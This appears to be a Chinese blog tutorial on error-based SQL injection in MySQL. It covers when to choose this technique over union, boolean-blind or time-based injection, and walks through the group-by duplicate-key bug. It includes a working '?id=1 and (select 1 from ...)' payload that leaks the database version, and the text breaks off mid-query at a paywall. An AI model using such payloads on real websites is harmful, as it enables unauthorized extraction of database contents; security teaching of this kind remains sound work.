目录
1 报错注入概述
定义:与union联合查询注入类似,报错注入是利用网站的报错信息来带出我们想要的信息。
报错注入的原理:就是在错误信息中执行sql语句。触发报错的方式很多,具体细节也不尽相同.注意,报错注入可能不一定能成功,可以多刷新几次。
使用优先级:考虑到成功率和时间成本比union成本高,因此该方法在uninon无法实施时再做尝试。
- union联合查询注入实施的条件是网页能回显我们第二条select语句的内容;
- 报错注入实施的条件是数据库中sql语句的报错信息,会显示在页面中。
sql注入简单口诀:
是否有回显 union联合查询注入
是否有报错 报错注入
是否有布尔类型状态 布尔盲注
绝招(没招的招) 延时注入
2 常用的报错注入命令
2.2 group by重复键冲突(count()+floor()+rand()+group by组合)
该种方式的报错注入只要存在回显报错信息,无论mysql版本是多少,都适用。当一次不成功时,多刷新几次。
利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞。输入命令报错并带回版本信息?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)。floor()为向下取整;rand()为取0~1的随机数;floor(rand()*2)为0或;group by为分类聚合。其中,x 与a 均为别名,其实院语句为...as x和...as a,只是as可以省略。0x5e为“^"符号的16进制。
报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。

2.2.1 group by重复键冲突的原理及bug演示
关于group by 聚合函数的报错,是mysql的一个bug编号为#8652.当使用rand()函数进行分组聚合时,会产生重复键的错误。
(1)创建数据库,并写入数据
create database groupbyTest;
create table r1 (a int);
insert into r1 values (1), (2), (1), (2), (1), (2), (1), (2), (1), (2);

(2)简单的查询
select * from r1;

(3)count()、left()、rand()、group by 的组合应用,产生重复键冲突。还可以利用round()、floor()函数代替left()
select count(*) from r1 group by a;

select left(rand(),3), a from r1 group by 1;
# group by 1为按照第一列分类聚合
# 由于rand函数的存在,每次执行结果都是不同的

能否用cont( * )对各随机数出现的次数进行计数,上述sql语句进一步演化如下:
select left(rand(),3), a, count(*
本文详细介绍了SQL报错注入的概念、原理及常用的命令,如groupby重复键冲突、extractvalue()和updatexml()函数。通过案例展示了如何利用报错注入获取数据库的敏感信息,包括数据库名、表名、字段名和字段内容。同时,总结了SQL注入的优先级顺序,并提醒注意某些函数和命令在某些数据库版本中可能不可用。
最低0.47元/天 解锁文章
651

被折叠的 条评论
为什么被折叠?



